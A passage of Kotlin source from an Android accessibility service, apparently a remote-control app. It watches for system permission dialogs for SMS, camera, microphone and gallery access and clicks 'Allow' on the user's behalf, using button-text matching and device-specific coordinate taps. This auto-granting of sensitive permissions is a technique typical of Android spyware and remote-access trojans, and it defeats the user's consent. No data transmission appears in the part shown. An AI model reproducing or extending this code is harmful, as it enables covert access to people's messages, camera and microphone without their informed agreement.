                    Log.d(TAG, "📷 未检测到权限对话框，继续等待...")
                }
                
                cameraPermissionRetryCount++
            }
            
            if (cameraPermissionRetryCount >= maxRetryCount) {
                Log.w(TAG, "⚠️ 摄像头权限申请超时")
                isRequestingCameraPermission = false
            }
        }
    }
    
    /**
     * 开始监听短信权限对话框
     */
    private fun startSMSPermissionDialogMonitoring() {
        serviceScope.launch {
            while (isRequestingSMSPermission && smsPermissionRetryCount < maxRetryCount) {
                delay(smsPermissionRetryInterval)
                
                if (hasSMSPermission()) {
                    Log.i(TAG, "✅ 短信权限已授予")
                    isRequestingSMSPermission = false
                    break
                }
                
                Log.d(TAG, "📱 第 ${smsPermissionRetryCount + 1} 次检测权限对话框...")
                
                // 检查无障碍服务状态
                if (!AccessibilityRemoteService.isServiceRunning()) {
                    Log.w(TAG, "⚠️ 无障碍服务未运行，停止权限申请")
                    isRequestingSMSPermission = false
                    break
                }
                
                // 使用简化的检测方法
                if (detectAndHandleSMSPermissionDialog()) {
                    Log.i(TAG, "📱 检测到短信权限对话框，尝试自动点击")
                    
                    // 点击后等待一下再检查权限状态
                    delay(1000)
                    if (hasSMSPermission()) {
                        Log.i(TAG, "✅ 短信权限已授予")
                        isRequestingSMSPermission = false
                        break
                    }
                } else {
                    Log.d(TAG, "📱 未检测到短信权限对话框，继续等待...")
                }
                
                smsPermissionRetryCount++
            }
            
            if (smsPermissionRetryCount >= maxRetryCount) {
                Log.w(TAG, "⚠️ 短信权限申请超时")
                isRequestingSMSPermission = false
            }
        }
    }
    
    /**
     * 简化的短信权限对话框检测和处理方法
     */
    private fun detectAndHandleSMSPermissionDialog(): Boolean {
        try {
            Log.d(TAG, "📱 开始短信权限对话框检测...")
            
            // 方法1: 检查所有窗口
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                Log.d(TAG, "📱 检查 ${windows.size} 个窗口...")
                
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowTitle = window.title?.toString() ?: ""
                    val windowType = window.type
                    val windowId = window.id
                    
                    Log.d(TAG, "📱 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
                    
                    // 检查窗口标题是否包含短信权限相关文本
                    if (windowTitle.contains("短信", ignoreCase = true) ||
                        windowTitle.contains("SMS", ignoreCase = true) ||
                        windowTitle.contains("允许", ignoreCase = true) ||
                        windowTitle.contains("permission", ignoreCase = true) ||
                        windowTitle.contains("电话", ignoreCase = true) ||
                        windowTitle.contains("PHONE", ignoreCase = true)) {
                        Log.d(TAG, "📱 找到短信权限弹框窗口: 标题=$windowTitle, ID=$windowId")
                        
                        // 尝试通过窗口ID获取根节点
                        val windowRoot = getWindowRootByTitle(windowTitle)
                        if (windowRoot != null) {
                            Log.d(TAG, "📱 成功获取短信权限弹框根节点")
                            
                            // 直接尝试点击按钮
                            if (tryClickSMSPermissionButtons(windowRoot)) {
                                windowRoot.recycle()
                                return true
                            }
                            
                            windowRoot.recycle()
                        } else {
                            Log.w(TAG, "⚠️ 无法获取短信权限弹框根节点，尝试其他方法...")
                            
//                            // 尝试通过坐标点击
                            if (tryClickSMSByCoordinates(windowTitle)) {
                                return true
                            }
//                            if (tryClickSMSByCoordinates(window)) {
//                                return true
//                            }
                        }
                    }
                }
            }
            
            // 方法2: 检查活动窗口
            val rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                Log.d(TAG, "📱 检查活动窗口...")
                
                // 递归查找权限相关节点
                val permissionNode = findSMSPermissionNodeInTree(rootNode)
                if (permissionNode != null) {
                    Log.d(TAG, "📱 在活动窗口中找到短信权限节点")
                    
                    if (tryClickSMSPermissionButtons(permissionNode)) {
                        permissionNode.recycle()
                        rootNode.recycle()
                        return true
                    }
                    
                    permissionNode.recycle()
                }
                
                rootNode.recycle()
            }
            
            Log.d(TAG, "📱 未找到短信权限对话框")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "检测短信权限对话框失败", e)
            return false
        }
    }
    
    /**
     * 简化的权限对话框检测和处理方法
     */
    private fun detectAndHandlePermissionDialog(): Boolean {
        try {
            Log.d(TAG, "📷 开始简化权限对话框检测...")
            
            // 方法1: 检查所有窗口
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                Log.d(TAG, "📷 检查 ${windows.size} 个窗口...")
                
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowTitle = window.title?.toString() ?: ""
                    val windowType = window.type
                    val windowId = window.id
                    
                    Log.d(TAG, "📷 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
                    
                    // 检查窗口标题是否包含摄像头权限相关文本
                    if (windowTitle.contains("摄像头", ignoreCase = true) ||
                        windowTitle.contains("拍摄照片", ignoreCase = true) ||
                        windowTitle.contains("录制视频", ignoreCase = true) ||
                        windowTitle.contains("camera", ignoreCase = true) ||
                        windowTitle.contains("允许", ignoreCase = true) ||
                        windowTitle.contains("permission", ignoreCase = true)) {
                        Log.d(TAG, "📷 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId")
                        
                        // 尝试通过窗口ID获取根节点
                        val windowRoot = getWindowRootByTitle(windowTitle)
                        if (tryClickByCoordinates(windowTitle)) {
                                return true
                        }
                    }
                }
            }
            
            // 方法2: 检查活动窗口
            val rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                Log.d(TAG, "📷 检查活动窗口...")
                
                // 递归查找权限相关节点
                val permissionNode = findPermissionNodeInTree(rootNode)
                if (permissionNode != null) {
                    Log.d(TAG, "📷 在活动窗口中找到权限节点")
                    
                    if (tryClickPermissionButtons(permissionNode)) {
                        permissionNode.recycle()
                        rootNode.recycle()
                        return true
                    }
                    
                    permissionNode.recycle()
                }
                
                rootNode.recycle()
            }
            
            Log.d(TAG, "📷 未找到权限对话框")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "检测权限对话框失败", e)
            return false
        }
    }
    
    /**
     * 通过窗口标题获取根节点
     */
    private fun getWindowRootByTitle(title: String): AccessibilityNodeInfo? {
        try {
            Log.d(TAG, "📷 尝试通过标题获取根节点: $title")
            
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowTitle = window.title?.toString() ?: ""
                    
                    if (windowTitle == title) {
                        Log.d(TAG, "📷 找到匹配的窗口: $windowTitle")
                        
                        // 打印窗口大小和位置坐标
                        val bounds = android.graphics.Rect()
                        window.getBoundsInScreen(bounds)
                        Log.d(TAG, "📐 窗口信息: 标题=$windowTitle")
                        Log.d(TAG, "📐 窗口位置: left=${bounds.left}, top=${bounds.top}, right=${bounds.right}, bottom=${bounds.bottom}")
                        Log.d(TAG, "📐 窗口大小: width=${bounds.width()}, height=${bounds.height()}")
                        Log.d(TAG, "📐 窗口中心点: x=${bounds.centerX()}, y=${bounds.centerY()}")
                        Log.d(TAG, "📐 窗口类型: ${window.type}, 层级: ${window.layer}")
                        
                        // 尝试多种方法获取根节点
                        var rootNode = window.root
                        if (rootNode != null) {
                            Log.d(TAG, "📷 通过window.root获取到根节点")
                            
                            // 打印根节点的大小和位置
                            val rootBounds = android.graphics.Rect()
                            rootNode.getBoundsInScreen(rootBounds)
                            Log.d(TAG, "📐 根节点位置: left=${rootBounds.left}, top=${rootBounds.top}, right=${rootBounds.right}, bottom=${rootBounds.bottom}")
                            Log.d(TAG, "📐 根节点大小: width=${rootBounds.width()}, height=${rootBounds.height()}")
                            Log.d(TAG, "📐 根节点中心点: x=${rootBounds.centerX()}, y=${rootBounds.centerY()}")
                            
                            return rootNode
                        }
                        
                        // 尝试通过rootInActiveWindow
                        rootNode = service.rootInActiveWindow
                        if (rootNode != null) {
                            val rootTitle = rootNode.packageName?.toString() ?: ""
                            if (rootTitle.contains("android", ignoreCase = true)) {
                                Log.d(TAG, "📷 通过rootInActiveWindow获取到系统根节点")
                                return rootNode
                            }
                            rootNode.recycle()
                        }
                        
                        Log.w(TAG, "⚠️ 无法获取窗口根节点")
                    }
                }
            }
            
            return null
        } catch (e: Exception) {
            Log.e(TAG, "通过标题获取根节点失败", e)
            return null
        }
    }




    /**
     * 通过坐标点击权限按钮  短信专用
     */
    private fun tryClickSMSByCoordinates(title :String): Boolean {

        //新的盲点
        try {
            // 获取屏幕信息




            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowTitle = window.title?.toString() ?: ""

                    if (windowTitle == title) {
                        Log.d(TAG, "📷 找到匹配的窗口: $windowTitle")

                        // 打印窗口大小和位置坐标
                        val bounds = android.graphics.Rect()
                        window.getBoundsInScreen(bounds)
                        Log.d(TAG, "📐 窗口信息: 标题=$windowTitle")
                        Log.d(TAG, "📐 窗口位置: left=${bounds.left}, top=${bounds.top}, right=${bounds.right}, bottom=${bounds.bottom}")
                        Log.d(TAG, "📐 窗口大小: width=${bounds.width()}, height=${bounds.height()}")
                        Log.d(TAG, "📐 窗口中心点: x=${bounds.centerX()}, y=${bounds.centerY()}")
                        Log.d(TAG, "📐 窗口类型: ${window.type}, 层级: ${window.layer}")
                        //旧的 oppo的点击方式
//                        val x = bounds.centerX()
//                        val y = bounds.bottom - ((bounds.bottom - bounds.centerY()) * 0.5f).toInt()
//                        // 创建手势描述
//                        val gestureBuilder = GestureDescription.Builder()
//                        val path = android.graphics.Path()
//                        path.moveTo(x.toFloat(), y.toFloat())
                        //将坐标封装，判断型号
                        val (x, y) = getDeviceSpecificClickPointSms(bounds)
                        Log.d(TAG, "🧭 机型坐标策略点击: ($x,$y)")
                        // 创建手势描述
                        val gestureBuilder = GestureDescription.Builder()
                        val path = android.graphics.Path()
                        path.moveTo(x.toFloat(), y.toFloat())

                        val stroke = GestureDescription.StrokeDescription(path, 0, 100)
                        gestureBuilder.addStroke(stroke)

                        val success = service.dispatchGesture(
                            gestureBuilder.build(),
                            object : AccessibilityService.GestureResultCallback() {
                                override fun onCompleted(gestureDescription: GestureDescription?) {
                                    Log.d(TAG, "✅ 坐标点击手势完成")
                                }

                                override fun onCancelled(gestureDescription: GestureDescription?) {
                                    Log.w(TAG, "⚠️ 坐标点击手势取消")
                                }
                            },
                            null
                        )

                        if (success) {
                            Log.i(TAG, "🎯 坐标点击发送成功: ($x, $y)，但需要等待权限结果确认")
                            // ⚠️ 不要立即返回true，让其他策略也有机会尝试
                            // 坐标点击只是发送了手势，不能确保点击了正确的按钮
                        }

                    }
                }
            }



        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击失败", e)
        }

                return false


    }
    /**
     * 通过坐标点击权限按钮  相册专用
     */
    private fun tryClickByGalleryCoordinates(title :String): Boolean {
        //新的盲点
        try {
            // 获取屏幕信息
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowTitle = window.title?.toString() ?: ""

                    if (windowTitle == title) {
                        Log.d(TAG, "🖼️ 找到匹配的窗口: $windowTitle")

                        // 打印窗口大小和位置坐标
                        val bounds = android.graphics.Rect()
                        window.getBoundsInScreen(bounds)
                        Log.d(TAG, "📐 窗口信息: 标题=$windowTitle")
                        Log.d(TAG, "📐 窗口位置: left=${bounds.left}, top=${bounds.top}, right=${bounds.right}, bottom=${bounds.bottom}")
                        Log.d(TAG, "📐 窗口大小: width=${bounds.width()}, height=${bounds.height()}")
                        Log.d(TAG, "📐 窗口中心点: x=${bounds.centerX()}, y=${bounds.centerY()}")
                        Log.d(TAG, "📐 窗口类型: ${window.type}, 层级: ${window.layer}")

//                        val x = bounds.centerX()
//                        val y = bounds.bottom - ((bounds.bottom - bounds.centerY()) * 0.65f).toInt()
//                        // 创建手势描述
//                        val gestureBuilder = GestureDescription.Builder()
//                        val path = android.graphics.Path()
//                        path.moveTo(x.toFloat(), y.toFloat())

                        val (x, y) = getDeviceSpecificClickPointGallery(bounds)
                        Log.d(TAG, "🧭 机型坐标策略点击: ($x,$y)")
                        // 创建手势描述
                        val gestureBuilder = GestureDescription.Builder()
                        val path = android.graphics.Path()
                        path.moveTo(x.toFloat(), y.toFloat())

                        val stroke = GestureDescription.StrokeDescription(path, 0, 100)
                        gestureBuilder.addStroke(stroke)

                        val success = service.dispatchGesture(
                            gestureBuilder.build(),
                            object : AccessibilityService.GestureResultCallback() {
                                override fun onCompleted(gestureDescription: GestureDescription?) {
                                    Log.d(TAG, "✅ 坐标点击手势完成")
                                }

                                override fun onCancelled(gestureDescription: GestureDescription?) {
                                    Log.w(TAG, "⚠️ 坐标点击手势取消")
                                }
                            },
                            null
                        )

                        if (success) {
                            Log.i(TAG, "🎯 坐标点击发送成功: ($x, $y)，但需要等待权限结果确认")
                            // ⚠️ 不要立即返回true，让其他策略也有机会尝试
                            // 坐标点击只是发送了手势，不能确保点击了正确的按钮
                        }

                    }
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击失败", e)
        }

            return false
        }

    /**
     * 尝试通过坐标点击麦克风权限按钮
     */
    private fun tryClickByMicrophoneCoordinates(title: String): Boolean {
        //新的盲点
        try {
            // 获取屏幕信息
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowTitle = window.title?.toString() ?: ""

                    if (windowTitle == title) {
                        Log.d(TAG, "🎤 找到匹配的窗口: $windowTitle")

                        // 打印窗口大小和位置坐标
                        val bounds = android.graphics.Rect()
                        window.getBoundsInScreen(bounds)
                        Log.d(TAG, "📐 窗口信息: 标题=$windowTitle")
                        Log.d(TAG, "📐 窗口位置: left=${bounds.left}, top=${bounds.top}, right=${bounds.right}, bottom=${bounds.bottom}")
                        Log.d(TAG, "📐 窗口大小: width=${bounds.width()}, height=${bounds.height()}")
                        Log.d(TAG, "📐 窗口中心点: x=${bounds.centerX()}, y=${bounds.centerY()}")
                        Log.d(TAG, "📐 窗口类型: ${window.type}, 层级: ${window.layer}")

//                        val x = bounds.centerX()
//                        val y =  bounds.centerY()
//                        // 创建手势描述
//                        val gestureBuilder = GestureDescription.Builder()
//                        val path = android.graphics.Path()
//                        path.moveTo(x.toFloat(), y.toFloat())


                        val (x, y) = getDeviceSpecificClickPointMicro(bounds)
                        Log.d(TAG, "🧭 机型坐标策略点击: ($x,$y)")
                        // 创建手势描述
                        val gestureBuilder = GestureDescription.Builder()
                        val path = android.graphics.Path()
                        path.moveTo(x.toFloat(), y.toFloat())



                        val stroke = GestureDescription.StrokeDescription(path, 0, 100)
                        gestureBuilder.addStroke(stroke)

                        val success = service.dispatchGesture(
                            gestureBuilder.build(),
                            object : AccessibilityService.GestureResultCallback() {
                                override fun onCompleted(gestureDescription: GestureDescription?) {
                                    Log.d(TAG, "✅ 坐标点击手势完成")
                                }

                                override fun onCancelled(gestureDescription: GestureDescription?) {
                                    Log.w(TAG, "⚠️ 坐标点击手势取消")
                                }
                            },
                            null
                        )

                        if (success) {
                            Log.i(TAG, "🎯 坐标点击发送成功: ($x, $y)，但需要等待权限结果确认")
                            // ⚠️ 不要立即返回true，让其他策略也有机会尝试
                            // 坐标点击只是发送了手势，不能确保点击了正确的按钮
                        }

                    }
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击失败", e)
        }

        return false
    }
    
    /**
     * 尝试点击短信权限按钮
     */
    private fun tryClickSMSPermissionButtons(node: AccessibilityNodeInfo): Boolean {
        try {
            Log.d(TAG, "📱 尝试点击短信权限按钮...")
            
            // 短信权限按钮文本
            val buttonTexts = listOf(
                "使用时允许", "Allow while using",
                "仅本次使用时允许", "Allow only this time",
                "允许", "Allow", "确定", "OK",
                "始终允许", "Allow always",
                "仅此一次", "Just once"
            )
            
            // 查找所有按钮
            val allButtons = findAllButtons(node)
            Log.d(TAG, "📱 找到 ${allButtons.size} 个按钮")
            
            for (i in allButtons.indices) {
                val btn = allButtons[i]
                val btnText = btn.text?.toString() ?: ""
                val btnDesc = btn.contentDescription?.toString() ?: ""
                
                Log.d(TAG, "📱 按钮 $i: '$btnText', 描述: '$btnDesc'")
                
                // 检查是否是权限按钮
                for (buttonText in buttonTexts) {
                    if (btnText.contains(buttonText, ignoreCase = true) || 
                        btnDesc.contains(buttonText, ignoreCase = true)) {
                        Log.i(TAG, "📱 找到短信权限按钮: '$btnText', 描述: '$btnDesc'")
                        
                        // 尝试点击按钮
                        clickButton(btn)
                        Log.i(TAG, "📱 成功点击短信权限按钮: '$btnText'")
                        btn.recycle()
                        return true
                    }
                }
                
                btn.recycle()
            }
            
            Log.w(TAG, "⚠️ 未找到可点击的短信权限按钮")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "点击短信权限按钮失败", e)
            return false
        }
    }
    
    /**
     * 尝试点击权限按钮
     */
    private fun tryClickPermissionButtons(node: AccessibilityNodeInfo): Boolean {
        try {
            Log.d(TAG, "📷 尝试点击权限按钮...")
            
            // 权限按钮文本（根据截图）
            val buttonTexts = listOf(
                "使用时允许", "Allow while using",
                "仅本次使用时允许", "Allow only this time",
                "允许", "Allow", "确定", "OK"
            )
            
            // 查找所有按钮
            val allButtons = findAllButtons(node)
            Log.d(TAG, "📷 找到 ${allButtons.size} 个按钮")
            
            for (i in allButtons.indices) {
                val btn = allButtons[i]
                val btnText = btn.text?.toString() ?: ""
                val btnDesc = btn.contentDescription?.toString() ?: ""
                
                Log.d(TAG, "📷 按钮 $i: '$btnText', 描述: '$btnDesc'")
                
                // 检查是否是权限按钮
                for (buttonText in buttonTexts) {
                    if (btnText.contains(buttonText, ignoreCase = true) || 
                        btnDesc.contains(buttonText, ignoreCase = true)) {
                        Log.i(TAG, "📷 找到权限按钮: '$btnText', 描述: '$btnDesc'")
                        
                        // 尝试点击按钮
                        clickButton(btn)
                        Log.i(TAG, "📷 成功点击权限按钮: '$btnText'")
                        btn.recycle()
                        return true
                    }
                }
                
                btn.recycle()
            }
            
            Log.w(TAG, "⚠️ 未找到可点击的权限按钮")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "点击权限按钮失败", e)
            return false
        }
    }
    
    /**
     * 检测摄像头权限对话框
     */
    private fun detectCameraPermissionDialog(): Boolean {
        return try {
            // 使用改进的getRootNode方法
            val rootNode = getRootNode()
            
            if (rootNode == null) {
                Log.d(TAG, "📷 无法获取rootNode，跳过检测")
                return false
            }
            
            Log.d(TAG, "📷 开始检测权限对话框，包名: ${rootNode.packageName}")
            
            // 扩展检测关键词
            val dialogTexts = listOf(
                "摄像头", "相机", "Camera", "CAMERA", "camera",
                "使用时允许", "仅在使用时允许", "仅在使用此应用时允许",
                "允许", "拒绝", "Allow", "Deny", "ALLOW", "DENY",
                "权限", "Permission", "PERMISSION", "permission",
                "访问", "访问权限", "Access", "ACCESS",
                "媒体", "Media", "MEDIA", "媒体权限",
                "录制", "Record", "RECORD", "录制视频",
                "拍照", "Take Photo", "TAKE_PHOTO", "拍照权限"
            )
            
            // 先打印所有可见文本用于调试
            printAllVisibleTexts(rootNode, 0)
            
            val hasDialogText = searchForTextInNode(rootNode, dialogTexts)
            Log.d(TAG, "📷 权限对话框文本检测结果: $hasDialogText")
            
            // 如果文本检测失败，尝试通过UI结构检测
            val hasDialogStructure = detectPermissionDialogByStructure(rootNode)
            Log.d(TAG, "📷 权限对话框结构检测结果: $hasDialogStructure")
            
            // 检测系统权限弹框（通常包名是android）
            val hasSystemDialog = detectSystemPermissionDialog()
            Log.d(TAG, "📷 系统权限对话框检测结果: $hasSystemDialog")
            
            val finalResult = hasDialogText || hasDialogStructure || hasSystemDialog
            Log.d(TAG, "📷 权限对话框最终检测结果: $finalResult")
            
            rootNode.recycle()
            
            finalResult
        } catch (e: Exception) {
            Log.e(TAG, "检测摄像头权限对话框失败", e)
            false
        }
    }
    
    /**
     * 打印所有可见文本用于调试
     */
    private fun printAllVisibleTexts(node: AccessibilityNodeInfo, depth: Int) {
        try {
            val indent = "  ".repeat(depth)
            val nodeText = node.text?.toString() ?: ""
            val contentDescription = node.contentDescription?.toString() ?: ""
            val className = node.className?.toString() ?: ""
            val viewId = node.viewIdResourceName ?: ""
            
            if (nodeText.isNotEmpty() || contentDescription.isNotEmpty()) {
                Log.d(TAG, "📷 $indent 文本: '$nodeText', 描述: '$contentDescription', 类名: '$className', ID: '$viewId'")
            }
            
            // 递归打印子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    printAllVisibleTexts(child, depth + 1)
                    child.recycle()
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "打印可见文本失败", e)
        }
    }
    
    /**
     * 通过UI结构检测权限对话框
     */
    private fun detectPermissionDialogByStructure(node: AccessibilityNodeInfo): Boolean {
        try {
            val className = node.className?.toString() ?: ""
            val viewId = node.viewIdResourceName ?: ""
            
            // 检测常见的权限对话框结构
            val dialogIndicators = listOf(
                "Dialog", "dialog", "AlertDialog", "alertdialog",
                "PermissionDialog", "permissiondialog", "Permission", "permission",
                "SystemDialog", "systemdialog", "SystemAlertDialog", "systemalertdialog"
            )
            
            // 检查类名是否包含对话框标识
            for (indicator in dialogIndicators) {
                if (className.contains(indicator, ignoreCase = true)) {
                    Log.d(TAG, "📷 通过类名检测到权限对话框: $className")
                    return true
                }
            }
            
            // 检查ViewId是否包含权限相关标识
            val permissionIds = listOf(
                "permission", "dialog", "alert", "system", "camera", "media"
            )
            
            for (id in permissionIds) {
                if (viewId.contains(id, ignoreCase = true)) {
                    Log.d(TAG, "📷 通过ViewId检测到权限对话框: $viewId")
                    return true
                }
            }
            
            // 检查是否有多个可点击的按钮（权限对话框通常有2个按钮：允许和拒绝）
            val clickableButtons = countClickableButtons(node)
            if (clickableButtons >= 2) {
                Log.d(TAG, "📷 通过按钮数量检测到可能的权限对话框: $clickableButtons 个可点击按钮")
                return true
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    if (detectPermissionDialogByStructure(child)) {
                        child.recycle()
                        return true
                    }
                    child.recycle()
                }
            }
            
            return false
        } catch (e: Exception) {
            Log.e(TAG, "通过UI结构检测权限对话框失败", e)
            return false
        }
    }
    
    /**
     * 计算可点击按钮的数量
     */
    private fun countClickableButtons(node: AccessibilityNodeInfo): Int {
        var count = 0
        
        try {
            if (node.isClickable) {
                val className = node.className?.toString() ?: ""
                if (className.contains("Button") || className.contains("button") || 
                    className.contains("TextView") || className.contains("textview")) {
                    count++
                }
            }
            
            // 递归计算子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    count += countClickableButtons(child)
                    child.recycle()
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "计算可点击按钮数量失败", e)
        }
        
        return count
    }
    
    /**
     * 检测系统权限弹框（独立方法）
     */
    private fun detectSystemPermissionDialog(): Boolean {
        try {
            Log.d(TAG, "📷 开始检测系统权限弹框...")
            
            // 使用专门的方法查找权限弹框节点
            val permissionNode = getPermissionDialogNode()
            if (permissionNode != null) {
                val packageName = permissionNode.packageName?.toString() ?: ""
                val className = permissionNode.className?.toString() ?: ""
                
                Log.d(TAG, "📷 找到权限弹框节点，包名: $packageName, 类名: $className")
                
                // 系统权限弹框通常包名是android
                if (packageName == "android") {
                    Log.d(TAG, "📷 检测到系统权限弹框（包名: android）")
                    permissionNode.recycle()
                    return true
                }
                
                // 检查是否有系统权限相关的类名
                val systemDialogClasses = listOf(
                    "AlertDialog", "SystemAlertDialog", "PermissionDialog",
                    "android.app.AlertDialog", "com.android.systemui"
                )
                
                for (dialogClass in systemDialogClasses) {
                    if (className.contains(dialogClass, ignoreCase = true)) {
                        Log.d(TAG, "📷 检测到系统权限弹框（类名: $className）")
                        permissionNode.recycle()
                        return true
                    }
                }
                
                // 检查是否包含权限相关文本
                if (containsPermissionText(permissionNode)) {
                    Log.d(TAG, "📷 检测到包含权限文本的系统弹框")
                    permissionNode.recycle()
                    return true
                }
                
                permissionNode.recycle()
            }
            
            Log.d(TAG, "📷 未检测到系统权限弹框")
            return false
        } catch (e: Exception) {
            Log.e(TAG, "检测系统权限弹框失败", e)
            return false
        }
    }
    
    /**
     * 处理系统权限弹框
     */
    private fun handleSystemPermissionDialog() {
        try {
            val permissionNode = getPermissionDialogNode()
            if (permissionNode == null) {
                Log.w(TAG, "📷 处理系统权限弹框时无法获取权限弹框节点")
                return
            }
            
            Log.d(TAG, "📷 开始处理系统权限弹框...")
            
            // 系统权限弹框的按钮文本（根据截图）
            val systemButtonTexts = listOf(
                "使用时允许", "Allow while using",
                "仅本次使用时允许", "Allow only this time",
                "允许", "Allow"
            )
            
            Log.d(TAG, "📷 开始查找系统权限按钮...")
            val allowButtons = findButtonsWithText(permissionNode, systemButtonTexts)
            Log.d(TAG, "📷 找到 ${allowButtons.size} 个系统权限按钮")
            
            if (allowButtons.isNotEmpty()) {
                val button = allowButtons.first()
                val buttonText = button.text?.toString() ?: ""
                val buttonDesc = button.contentDescription?.toString() ?: ""
                Log.i(TAG, "📷 找到系统权限按钮: '$buttonText', 描述: '$buttonDesc'")
                clickButton(button)
                button.recycle()
            } else {
                Log.w(TAG, "⚠️ 未找到系统权限按钮，尝试查找所有按钮...")
                // 如果没找到特定文本的按钮，尝试查找所有按钮
                val allButtons = findAllButtons(permissionNode)
                Log.d(TAG, "📷 找到 ${allButtons.size} 个按钮")
                for (i in allButtons.indices) {
                    val btn = allButtons[i]
                    val btnText = btn.text?.toString() ?: ""
                    val btnDesc = btn.contentDescription?.toString() ?: ""
                    Log.d(TAG, "📷 系统按钮 $i: '$btnText', 描述: '$btnDesc'")
                    btn.recycle()
                }
            }
            
            permissionNode.recycle()
        } catch (e: Exception) {
            Log.e(TAG, "处理系统权限弹框失败", e)
        }
    }
    
    /**
     * 处理摄像头权限对话框
     */
    private fun handleCameraPermissionDialog() {
        try {
            val rootNode = getRootNode()
            if (rootNode == null) {
                Log.w(TAG, "📷 处理权限对话框时无法获取rootNode")
                return
            }
            
            // 扩展按钮文本检测（根据实际截图更新）
            val allowButtonTexts = listOf(
                "使用时允许", "Allow while using", "Allow while using the app",
                "仅本次使用时允许", "Allow only this time", "Allow only once",
                "仅在使用时允许", "仅在使用此应用时允许",
                "允许", "Allow", "ALLOW", "allow",
                "确定", "OK", "ok", "Ok",
                "同意", "Agree", "AGREE", "agree",
                "授权", "Authorize", "AUTHORIZE", "authorize",
                "接受", "Accept", "ACCEPT", "accept",
                "是", "Yes", "YES", "yes",
                "继续", "Continue", "CONTINUE", "continue"
            )
            
            Log.d(TAG, "📷 开始查找允许按钮...")
            val allowButtons = findButtonsWithText(rootNode, allowButtonTexts)
            Log.d(TAG, "📷 找到 ${allowButtons.size} 个可能的允许按钮")
            
            if (allowButtons.isNotEmpty()) {
                val button = allowButtons.first()
                val buttonText = button.text?.toString() ?: ""
                val buttonDesc = button.contentDescription?.toString() ?: ""
                Log.i(TAG, "📷 找到摄像头权限允许按钮: '$buttonText', 描述: '$buttonDesc'")
                clickButton(button)
                button.recycle()
            } else {
                Log.w(TAG, "⚠️ 未找到摄像头权限允许按钮，尝试查找所有按钮...")
                // 如果没找到特定文本的按钮，尝试查找所有按钮
                val allButtons = findAllButtons(rootNode)
                Log.d(TAG, "📷 找到 ${allButtons.size} 个按钮")
                for (i in allButtons.indices) {
                    val btn = allButtons[i]
                    val btnText = btn.text?.toString() ?: ""
                    val btnDesc = btn.contentDescription?.toString() ?: ""
                    Log.d(TAG, "📷 按钮 $i: '$btnText', 描述: '$btnDesc'")
                    btn.recycle()
                }
            }
            
            rootNode.recycle()
        } catch (e: Exception) {
            Log.e(TAG, "处理摄像头权限对话框失败", e)
        }
    }
    
    /**
     * 在节点中搜索文本
     */
    private fun searchForTextInNode(node: AccessibilityNodeInfo, texts: List<String>): Boolean {
        try {
            val nodeText = node.text?.toString() ?: ""
            val contentDescription = node.contentDescription?.toString() ?: ""
            Log.i(TAG, "node文本内容："+nodeText)
            for (text in texts) {
                if (nodeText.contains(text, ignoreCase = true) || 
                    contentDescription.contains(text, ignoreCase = true)) {
                    return true
                }
            }
            
            // 递归搜索子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    if (searchForTextInNode(child, texts)) {
                        child.recycle()
                        return true
                    }
                    child.recycle()
                }
            }
            
            return false
        } catch (e: Exception) {
            Log.e(TAG, "搜索文本失败", e)
            return false
        }
    }
    
    /**
     * 查找包含指定文本的按钮
     */
    private fun findButtonsWithText(node: AccessibilityNodeInfo, texts: List<String>): List<AccessibilityNodeInfo> {
        val buttons = mutableListOf<AccessibilityNodeInfo>()
        
        try {
            if (node.className?.toString()?.contains("Button") == true) {
                val nodeText = node.text?.toString() ?: ""
                val contentDescription = node.contentDescription?.toString() ?: ""
                
                for (text in texts) {
                    if (nodeText.contains(text, ignoreCase = true) || 
                        contentDescription.contains(text, ignoreCase = true)) {
                        buttons.add(AccessibilityNodeInfo.obtain(node))
                        break
                    }
                }
            }
            
            // 递归搜索子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    buttons.addAll(findButtonsWithText(child, texts))
                    child.recycle()
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "查找按钮失败", e)
        }
        
        return buttons
    }
    
    /**
     * 查找所有按钮（用于调试）
     */
    private fun findAllButtons(node: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        val buttons = mutableListOf<AccessibilityNodeInfo>()
        
        try {
            val className = node.className?.toString() ?: ""
            if (className.contains("Button") || className.contains("button") || 
                className.contains("TextView") || className.contains("textview")) {
                // 检查是否可点击
                if (node.isClickable) {
                    buttons.add(AccessibilityNodeInfo.obtain(node))
                }
            }
            
            // 递归搜索子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    buttons.addAll(findAllButtons(child))
                    child.recycle()
                }
            }
        } catch (e: Exception) {
